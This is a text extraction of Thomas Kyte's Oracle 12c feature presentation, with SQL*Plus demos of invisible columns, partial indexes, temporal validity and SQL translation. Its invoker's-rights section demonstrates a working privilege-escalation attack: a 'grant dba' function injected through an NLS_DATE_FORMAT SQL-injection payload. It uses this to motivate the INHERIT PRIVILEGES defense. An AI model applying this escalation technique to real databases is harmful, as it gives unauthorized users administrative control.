12 More Things About Oracle 12c

1Copyright 2012, Oracle and/or its affiliates. All rights reserved.
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12 More things about Oracle

Database 12c
Thomas Kyte
http://asktom.oracle.com
Small print
The following is intended to outline our general product
direction. It is intended for information purposes only, and

may not be incorporated into any contract. It is not a
commitment to deliver any material, code, or functionality,
and should not be relied upon in making purchasing
decisions. The development, release, and timing of any
features or functionality described for Oracles products
remains at the sole discretion of Oracle.
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#1 Invisible
Columns
Invisible Columns
ops$tkyte%ORA12CR1> create table t
2 ( x int,
3
y int
4 )
5 /
Table created.
ops$tkyte%ORA12CR1> insert into t values ( 1, 2 );
1 row created.
Invisible Columns
ops$tkyte%ORA12CR1> alter table t add
( z int INVISIBLE );
Table altered.
Invisible Columns
ops$tkyte%ORA12CR1> desc t
Name
Null?
----------------- -------X
Y
Type
-----------NUMBER(38)
NUMBER(38)
Invisible Columns
ops$tkyte%ORA12CR1> insert into t values ( 3, 4 );
1 row created.
Invisible Columns
ops$tkyte%ORA12CR1> select * from t;
X
Y
---------- ---------1
2
3
4
Invisible Columns
ops$tkyte%ORA12CR1> insert into t (x,y,z)
values ( 5,6,7 );
1 row created.
ops$tkyte%ORA12CR1> select x, y, z from t;
X
Y
Z
---------- ---------- ---------1
2
3
4
5
6
7
Invisible Columns
ops$tkyte%ORA12CR1> alter table t modify z visible;
Table altered.
X
Y
Z
---------- ---------- ---------1
2
3
4
5
6
7
Add a column in the middle

2 ( a int,
3
b int,
4
d int,
5
e int
6 );
Table created.

ops$tkyte%ORA12CR1> alter table t modify
( d invisible, e invisible );
Table altered.
ops$tkyte%ORA12CR1> alter table t add c int;
Table altered.
ops$tkyte%ORA12CR1> alter table t modify
( d visible, e visible );
Table altered.

ops$tkyte%ORA12CR1> desc t
Name
Null?
----------------- -------A
B
C
D
E
Type
-----------NUMBER(38)
NUMBER(38)
NUMBER(38)
NUMBER(38)
NUMBER(38)
#2 Invokers Rights
Invokers Rights
Invokers Rights routines ran with the privileges of the
invoker
The invoker might be much higher privileged than the
owner of the procedure

Can be used to steal privileges by the owner
Invokers Rights
create or function seemingly_nice_utility
authid current_user
as
begin
execute immediate grant dba to me;
do_something_useful;
end;
If that seemingly nice routine was executed by a highly
privileged user, the owner of this nice utility would
become a DBA
Invokers Rights
ops$tkyte%ORA12CR1> create or replace
2 function injectable( p_date in date )
3 return number
4 as
5
l_sql varchar2(1000);
6
l_cnt number;
7 begin
8
dbms_output.put_line( 'enter' );
9
l_sql := '
10
select count(*) into :n from all_users
11
where created = ''' || p_date || '''';
12
13
dbms_output.put_line( l_sql );
14
execute immediate l_sql into l_cnt;
15
return l_cnt;
16 end;
Or suppose you have a SQL injectable routine

Invokers Rights
ops$tkyte%ORA12CR1> exec dbms_output.put_line( injectable( sysdate ) )
enter
select
into
from
where
count(*)
:n
all_users
created = '28-SEP-12'
0
PL/SQL procedure successfully completed.
That is what the developer is expecting and in fact

what the developer has always seen But
Invokers Rights
scott%ORA12CR1> create or replace
2 function nefarious
3 return date
4 authid current_user
5 as
6
pragma autonomous_transaction;
7 begin
8
dbms_output.put_line( 'in routine' );
9
execute immediate 'grant dba to scott';
10
dbms_output.put_line( 'granted' );
11
return sysdate;
12 end;
13 /
Function created.
Scott knows this SQL injection bug exists, Scott knows

the owner of the bad code is highly privileged, Scott
has connect and resource..
Invokers Rights
scott%ORA12CR1> grant execute on nefarious to ops$tkyte;
Grant succeeded.
scott%ORA12CR1> alter session set nls_date_format = '"'' or scott.nefarious() is not
null--"';
Session altered.
scott%ORA12CR1> select sysdate from dual;
SYSDATE
-----------------------------------' or scott.nefarious() is not null--
That is a surprise to many people
Invokers Rights
scott%ORA12CR1> select * from session_roles;
ROLE
-----------------------------CONNECT
RESOURCE
scott%ORA12CR1> exec dbms_output.put_line( ops$tkyte.injectable(sysdate) )
enter
select count(*)
into :n
from all_users
where created = '' or
scott.nefarious() is not null--'
in routine
granted
38
All we have to do is trick that highly privileged user

into running for us, just as I did here.. And then.
Invokers Rights
scott%ORA12CR1> connect scott/tiger
Connected.
scott%ORA12CR1> select * from session_roles;
ROLE
-----------------------------CONNECT
RESOURCE
DBA
SELECT_CATALOG_ROLE
EXECUTE_CATALOG_ROLE
XDB_SET_INVOKER
OLAP_DBA
OLAP_XS_ADMIN
PLUSTRACE
22 rows selected.
Not good
Invokers Rights
Two new privileges:
INHERIT PRIVILEGES
By default PUBLIC has INHERIT PRIVILEGES on all newly
created and upgraded user accounts

Hence it works the same in 12c by default
revoke inherit privileges on user

username from public
Consider
INHERIT ANY PRIVILEGES

Use sparingly
Invokers Rights
scott%PDB1> exec dbms_output.put_line( ops$tkyte.injectable(sysdate) )
enter
select count(*)
into :n
from all_users
where created = ''
or scott.nefarious() is not null--'
BEGIN dbms_output.put_line( ops$tkyte.injectable(sysdate) ); END;
*
ERROR at line 1:
ORA-06598: insufficient INHERIT PRIVILEGES privilege
ORA-06512: at "SCOTT.NEFARIOUS", line 1
ORA-06512: at "OPS$TKYTE.INJECTABLE", line 15
ORA-06512: at line 1
After issuing the revoke, the schema containing code

that is potentially SQL injectable (pretty much most
any application schema!) cannot be exploited this way
#3 Multiple Same
Column Indexes
Indexing
ops$tkyte%ORA11GR2> create table t ( x int, y int, z int );
Table created.
ops$tkyte%ORA11GR2> create index t_idx on t(x,y);
Index created.
ops$tkyte%ORA11GR2> create bitmap index t_idx2 on t(x,y);
create bitmap index t_idx2 on t(x,y)
*
ERROR at line 1:
ORA-01408: such column list already indexed
ops$tkyte%ORA11GR2> create bitmap index t_idx2 on t(x,y) invisible;
create bitmap index t_idx2 on t(x,y) invisible
*
ERROR at line 1:
ORA-01408: such column list already indexed
Indexing
ops$tkyte%ORA12CR1> create table t ( x int, y int, z int );
Table created.
ops$tkyte%ORA12CR1> create index t_idx on t(x,y);
Index created.
ops$tkyte%ORA12CR1> create bitmap index t_idx2 on t(x,y) invisible;
Index created.
Indexing
ops$tkyte%ORA12CR1> alter session set
optimizer_use_invisible_indexes=true;
Session altered.
ops$tkyte%ORA12CR1> exec dbms_stats.set_table_stats
( user, 'T', numrows => 1000000, numblks => 100000 );
Indexing
ops$tkyte%ORA12CR1> set autotrace traceonly explain
ops$tkyte%ORA12CR1> select count(*) from t;
--------------------------------------------------------------------| Id | Operation
| Name
| Rows | Cost (%CPU)|
--------------------------------------------------------------------|
0 | SELECT STATEMENT
|
|
1 |
0
(0)|
|
1 | SORT AGGREGATE
|
|
1 |
|
|
2 |
BITMAP CONVERSION COUNT
|
| 1000K|
|
|
3 |
BITMAP INDEX FAST FULL SCAN| T_IDX2 |
|
|
---------------------------------------------------------------------
#4 Temporal
Validity
Temporal Validity
ops$tkyte%ORA12CR1> create table addresses
2 ( empno
number,
3
addr_data
varchar2(30),
4
start_date date,
5
end_date
date,
6
period for valid(start_date,end_date)
7 )
8 /
Table created.
Temporal Validity
ops$tkyte%ORA12CR1> insert into addresses (empno, addr_data, start_date, end_date )
2 values ( 1234, '123 Main Street', trunc(sysdate-5), trunc(sysdate-2) );
1 row created.
2 values ( 1234, '456 Fleet Street', trunc(sysdate-1), trunc(sysdate+1) );
1 row created.
2 values ( 1234, '789 1st Ave', trunc(sysdate+2), null );
1 row created.
Temporal Validity
ops$tkyte%ORA12CR1> select * from addresses;
EMPNO
---------1234
1234
1234
ADDR_DATA
-----------------------------123 Main Street
456 Fleet Street
789 1st Ave
START_DAT
--------12-MAY-13
16-MAY-13
19-MAY-13
END_DATE
--------15-MAY-13
18-MAY-13
Temporal Validity
ops$tkyte%ORA12CR1> select * from addresses as of period for valid sysdate-3;
EMPNO ADDR_DATA
START_DAT END_DATE
---------- ------------------------------ --------- --------1234 123 Main Street
12-MAY-13 15-MAY-13
ops$tkyte%ORA12CR1> select * from addresses as of period for valid sysdate;
EMPNO ADDR_DATA
START_DAT END_DATE
---------- ------------------------------ --------- --------1234 456 Fleet Street
16-MAY-13 18-MAY-13
ops$tkyte%ORA12CR1> select * from addresses as of period for valid sysdate+3;
EMPNO ADDR_DATA
START_DAT END_DATE
---------- ------------------------------ --------- --------1234 789 1st Ave
19-MAY-13
#5 SQL Text
Expansion
SQL Text Expansion

ops$tkyte%ORA12CR1> variable x clob
ops$tkyte%ORA12CR1> begin
2
dbms_utility.expand_sql_text
3
( input_sql_text => 'select * from all_users',
4
output_sql_text => :x );
5 end;
6 /
SQL Text Expansion

ops$tkyte%ORA12CR1> print x
X
-------------------------------------------------------------------------------SELECT "A1"."USERNAME" "USERNAME","A1"."USER_ID" "USER_ID","A1"."CREATED" "CREAT
ED","A1"."COMMON" "COMMON" FROM (SELECT "A4"."NAME" "USERNAME","A4"."USER#" "US
ER_ID","A4"."CTIME" "CREATED",DECODE(BITAND("A4"."SPARE1",128),128,'YES','NO') "
COMMON" FROM "SYS"."USER$" "A4","SYS"."TS$" "A3","SYS"."TS$" "A2" WHERE "A4"."DA
TATS#"="A3"."TS#" AND "A4"."TEMPTS#"="A2"."TS#" AND "A4"."TYPE#"=1) "A1"
SQL Text Expansion

ops$tkyte%ORA12CR1> create or replace
2 function my_security_function( p_schema in varchar2,
3
p_object in varchar2 )
4 return varchar2
5 as
6 begin
7
return 'owner = USER';
8 end;
9 /
Function created.
SQL Text Expansion

ops$tkyte%ORA12CR1> create table my_table
2 ( data
varchar2(30),
3
OWNER
varchar2(30) default USER
4 )
5 /
Table created.
SQL Text Expansion

2
dbms_rls.add_policy
3
( object_schema
=> user,
4
object_name
=> 'MY_TABLE',
5
policy_name
=> 'MY_POLICY',
6
function_schema => user,
7
policy_function => 'My_Security_Function',
8
statement_types => 'select, insert, update, delete' ,
9
update_check
=> TRUE );
10 end;
11 /
SQL Text Expansion

2
dbms_utility.expand_sql_text
3
( input_sql_text => 'select * from my_table',
4
output_sql_text => :x );
5 end;
6 /
ops$tkyte%ORA12CR1> print x
X
-------------------------------------------------------------------------------SELECT "A1"."DATA" "DATA","A1"."OWNER" "OWNER" FROM (SELECT "A2"."DATA" "DATA",
"A2"."OWNER" "OWNER" FROM "OPS$TKYTE"."MY_TABLE" "A2" WHERE "A2"."OWNER"=USER@!)
"A1"
#6 Partial Indexes
Enhanced Indexing with Oracle Partitioning

Indexing prior to Oracle Database 12c
Local indexes
Non-partitioned or partitioned global indexes
Usable or unusable index segments
Non-persistent status of index, no relation to table

Indexing with Oracle Database 12c
Local indexes
Non-partitioned or partitioned global indexes
Usable or unusable index segments
Non-persistent status of index, no relation to table
Partial local and global indexes

Partial indexing introduces table and [sub]partition level metadata
Leverages usable/unusable state for local partitioned indexes
Policy for partial indexing can be overwritten

Partial Local and Global Indexes
Global Non-Partitioned Index
Partial indexes span only

some partitions
Full Indexing
Local Partitioned Index
Applicable to local and

global indexes
Indexing on
Complementary to full
indexing
Enhanced business
modeling
Global Partitioned Index
Table
Partition
Table
Partition
Table
Partition
Partial Local Partitioned Index
Partial IndexesPartial Global Partitioned Index

Partial Global Index
Indexing off
No Indexing
Partial Indexing
2 ( a int,
3
b int,
4
c int,
5
d int,
6
e int
7 )
8 partition by range (a)
9 (partition p1 values less than (100) indexing on,
10
partition p2 values less than (200) indexing off,
11
partition p3 values less than (300) indexing on
12 );
Table created.
Partial Indexing
2
dbms_stats.set_table_stats
3
( user, 'T', numrows=> 1000000, numblks => 100000 );
4 end;
5 /
ops$tkyte%ORA12CR1> select partition_name, high_value, indexing
2
from user_tab_partitions
3
where table_name = 'T';
PARTITION_
---------P1
P2
P3
HIGH_VALUE
---------100
200
300
INDE
---ON
OFF
ON
Partial Indexing
ops$tkyte%ORA12CR1> create index t_idx_b on t(b) local
Index created.
indexing partial;
ops$tkyte%ORA12CR1> create index t_idx_c on t(c) local;

Index created.
ops$tkyte%ORA12CR1> create index t_idx_d on t(d) global indexing partial;
Index created.
ops$tkyte%ORA12CR1> create index t_idx_e on t(e) global;
Index created.
Partial Indexing
ops$tkyte%ORA12CR1> select index_name, partition_name, status
2
from user_ind_partitions
3
where index_name in ( 'T_IDX_B', 'T_IDX_C' )
4
order by 1,2;
INDEX_NAME
---------T_IDX_B
T_IDX_B
T_IDX_B
PARTITION_
---------P1
P2
P3
STATUS
-------USABLE
UNUSABLE
USABLE
T_IDX_C
T_IDX_C
T_IDX_C
P1
P2
P3
USABLE
USABLE
USABLE
6 rows selected.
Partial Indexing
ops$tkyte%ORA12CR1> select index_name, indexing, status
2
from user_indexes
3
where index_name in ( 'T_IDX_D', 'T_IDX_E' )
4
order by 1;
INDEX_NAME
---------T_IDX_D
T_IDX_E
INDEXIN
------PARTIAL
FULL
STATUS
-------VALID
VALID
Partial Indexing
ops$tkyte%ORA12CR1> select count(*) from t where b = 2;
-----------------------------------------------------------------------------------------| Id | Operation
| Name
| Rows | Pstart| Pstop |
-----------------------------------------------------------------------------------------|
|
|
|
|
|
|
1 | SORT AGGREGATE
|
|
1 |
|
|
|
2 |
VIEW
| VW_TE_2 |
549 |
|
|
|
3 |
UNION-ALL
|
|
|
|
|
|
4 |
PARTITION RANGE OR
|
|
524 | KEY(OR)|KEY(OR)|
|* 5 |
TABLE ACCESS BY LOCAL INDEX ROWID BATCHED| T
|
|* 6 |
INDEX RANGE SCAN
| T_IDX_B |
|
7 |
PARTITION RANGE SINGLE
|
|
25 |
2 |
2 |
|* 8 |
TABLE ACCESS FULL
| T
|
25 |
2 |
2 |
-----------------------------------------------------------------------------------------Predicate Information (identified by operation id):
--------------------------------------------------5 - filter(("T"."A"<100 OR ("T"."A">=200 AND "T"."A"<300)))
6 - access("B"=2)
8 - filter("B"=2)
Partial Indexing
ops$tkyte%ORA12CR1>
select count(*) from t where d = 2 and a = 1;
------------------------------------------------------------------------------|Id | Operation
|Name
| Rows |Pstart|Pstop|
------------------------------------------------------------------------------| 0| SELECT STATEMENT
|
|
|
|
|
| 1| SORT AGGREGATE
|
|
1|
|
|
|* 2|
TABLE ACCESS BY GLOBAL INDEX ROWID BATCHED|T
|
100|
1 |
1|
|* 3|
INDEX RANGE SCAN
|T_IDX_D|
1|
|
|
------------------------------------------------------------------------------Predicate Information (identified by operation id):
--------------------------------------------------2 - filter("A"=1)
3 - access("D"=2)
Partial Indexing
ops$tkyte%ORA12CR1> select count(*) from t where d = 2 and a = 101;
----------------------------------------------------------------| Id | Operation
| Name | Rows || Pstart| Pstop |
----------------------------------------------------------------|
|
|
||
|
|
|
1 | SORT AGGREGATE
|
|
1 ||
|
|
|
2 |
PARTITION RANGE SINGLE|
|
100 ||
2 |
2 |
|* 3 |
TABLE ACCESS FULL
| T
|
100 ||
2 |
2 |
----------------------------------------------------------------Predicate Information (identified by operation id):
--------------------------------------------------3 - filter(("D"=2 AND "A"=101))
#7 Online
Operations
More Online Operations

DROP INDEX ONLINE
DROP CONSTRAINT ONLINE
SET UNUSED COLUMN ONLINE
ALTER INDEX UNUSABLE ONLINE
ALTER INDEX [VISIBLE | INVISIBLE]
Online Operations
2 ( a int,
3
b int,
4
c int,
5
d int
6 )
7 /
Table created.
ops$tkyte%ORA12CR1> insert into t values ( 1, 2, 3, 4 );
1 row created.
ops$tkyte%ORA12CR1> commit;
Commit complete.
Online Operations
ops$tkyte%ORA12CR1> update t set b = 42;
1 row updated.
A
B
C
D
---------- ---------- ---------- ---------1
42
3
4
Online Operations
ops$tkyte%ORA12CR1> declare
2
pragma autonomous_transaction;
3 begin
4
execute immediate 'alter table t set unused column d online';
5 end;
6 /
Online Operations
A
B
C
---------- ---------- ---------1
42
3
ops$tkyte%ORA12CR1> rollback;
Rollback complete.
A
B
C
---------- ---------- ---------1
2
3
#8 Implicit Result
Sets
Implicit Result Sets

Cursor variables have been around since 7.2
Used to return result sets explicitly
Some other databases return them implicitly
Causes migration headaches

Two new API calls:
PROCEDURE RETURN_RESULT
(rc IN OUT SYS_REFCURSOR, to_client IN BOOLEAN DEFAULT TRUE);

PROCEDURE RETURN_RESULT
(rc IN OUT INTEGER, to_client IN BOOLEAN DEFAULT TRUE);

TO_CLIENT => true, return to client layer
TO_CLIENT=> false, return to invoker, immediate caller

ops$tkyte%ORA12CR1> declare
2
c sys_refcursor;
3 begin
4
open c for
5
select *
6
from dept;
7
8
dbms_sql.return_result(c);
9 end;
10 /
ResultSet #1
DEPTNO
---------10
20
30
40
DNAME
-------------ACCOUNTING
RESEARCH
SALES
OPERATIONS
LOC
------------NEW YORK
DALLAS
CHICAGO
BOSTON

Two new API calls:
PROCEDURE GET_NEXT_RESULT
(c IN INTEGER, rc OUT SYS_REFCURSOR);

PROCEDURE GET_NEXT_RESULT
(c IN INTEGER, rc OUT INTEGER);

For PL/SQL processing

Connection conn = DriverManager.getConnection(jdbcURL, user, password);
try
{
Statement stmt = conn.createStatement ();
stmt.executeQuery ( begin foo; end; );
while (stmt.getMoreResults())
{
ResultSet rs = stmt.getResultSet();
System.out.println("ResultSet");
while (rs.next())
{
/* get results */
}
}
}
#9 Easier Reorgs
Easier Reorgs
In a single command you can

Move table tablespaces
Move index tablespaces
Move lob tablespaces
Implement table compression
Implement index key compression
Implement lob compression
Convert to securelfile
Easier Reorgs
2 tablespace users
3 as
4 select *
5
from all_objects;
Table created.
ops$tkyte%ORA12CR1> create index t_idx on t(object_name);
Index created.
ops$tkyte%ORA12CR1> alter table t add constraint
t_pk primary key(object_id);
Table altered.
Easier Reorgs
ops$tkyte%ORA12CR1> select index_name, status
2
from user_indexes
3
INDEX_NAME
---------T_PK
T_IDX
STATUS
---------VALID
VALID
ops$tkyte%ORA12CR1> exec show_space( 'T' );
Full Blocks
.....................
Total Blocks............................
Total MBytes............................
1,373
1,408
11
Easier Reorgs
2 dbms_redefinition.redef_table
3 ( uname
=> user,
4
tname
=> 'T',
5
table_compression_type => 'row store compress advanced',
6
table_part_tablespace => 'TEST' );
7 end;
8 /
Easier Reorgs
ops$tkyte%ORA12CR1> select index_name, status
2
from user_indexes
3
INDEX_NAME
---------T_PK
T_IDX
STATUS
---------VALID
VALID
ops$tkyte%ORA12CR1> exec show_space( 'T' );
Full Blocks
.....................
Total Blocks............................
Total MBytes............................
382
512
4
#10 Improved
Introspection
Improved Introspection
Before 12.1, you used three functions in the
DBMS_Utility package
Format_Call_Stack()
Format_Error_Stack()
Format_Error_Backtrace()
New in 12.1
The package UTL_Call_Stack solves the
same problem properly

package body Pkg is
procedure p is
procedure q is
procedure r is
procedure p is
begin
Print_Call_Stack();
end p;
begin
p();
end r;
begin
r();
end q;
begin
q();
end p;
end Pkg;
procedure Print_Call_Stack authid Definer is
Depth pls_integer := UTL_Call_Stack.Dynamic_Depth();
begin
DBMS_Output.Put_Line(DBMS_Utility.Format_Call_Stack());
end;
----- PL/SQL Call Stack ----object
line object
handle
number name
0x631f6e88
12 procedure USR.PRINT_CALL_STACK
0x68587700
7 package body USR.PKG
0x68587700
0x68587700
0x68587700
0x69253ca8
1 anonymous block
procedure Print_Call_Stack authid Definer is
Depth pls_integer := UTL_Call_Stack.Dynamic_Depth();
begin
for j in reverse 2..Depth loop
DBMS_Output.Put_Line(
(j - 1)||
To_Char(UTL_Call_Stack.Unit_Line(j), '99')||
UTL_Call_Stack.Concatenate_Subprogram
UTL_Call_Stack.Subprogram(j)));
end loop;
end;
5
4
3
2
1
1
16
13
10
7
__anonymous_block
PKG.P
PKG.P.Q
PKG.P.Q.R
PKG.P.Q.R.P
#11 SQL made for

migration
Expanded Syntax
Cross Apply
Outer Apply
Lateral
Expanded Syntax
ops$tkyte%ORA12CR1> select d.deptno, d.dname, e2.ename
2
from dept d cross apply (select ename
3
from emp e
4
where e.deptno = d.deptno) e2
5
where d.deptno in ( 10, 40 )
6
order by 1, 2
7 /
DEPTNO
---------10
10
10
DNAME
ACCOUNTING
ACCOUNTING
ENAME
---------CLARK
MILLER
KING
Expanded Syntax
2
from dept d outer apply (select ename
3
from emp e
4
5
6
order by 1, 2
7 /
DEPTNO
---------10
10
10
40
DNAME
ACCOUNTING
ACCOUNTING
OPERATIONS
ENAME
---------CLARK
KING
MILLER
Expanded Syntax
2
from dept d, lateral (select ename
3
from emp e
4
5
6
order by 1, 2
7 /
DEPTNO
---------10
10
10
DNAME
ACCOUNTING
ACCOUNTING
ENAME
---------CLARK
MILLER
KING
#12 SQL
Esperanto
SQL Translation Framework

Migrations without changing SQL
Translations for
Sybase
MS SQLServer
Partial DB2
Or, do it yourself

2
dbms_sql_translator.create_profile( 'MY_PROFILE' );
3
dbms_sql_translator.register_sql_translation
4
( 'MY_PROFILE',
5
'select * from scott.emp',
6
'select * from scott.dept' );
7 end;
8 /

ops$tkyte%ORA12CR1> alter session set
sql_translation_profile = MY_PROFILE;
Session altered.
ops$tkyte%ORA12CR1> alter session set events =
'10601 trace name context forever, level 32';
Session altered.

ops$tkyte%ORA12CR1> select * from scott.emp;
DEPTNO
---------10
20
30
40
DNAME
RESEARCH
SALES
OPERATIONS
LOC
------------NEW YORK
DALLAS
CHICAGO
BOSTON
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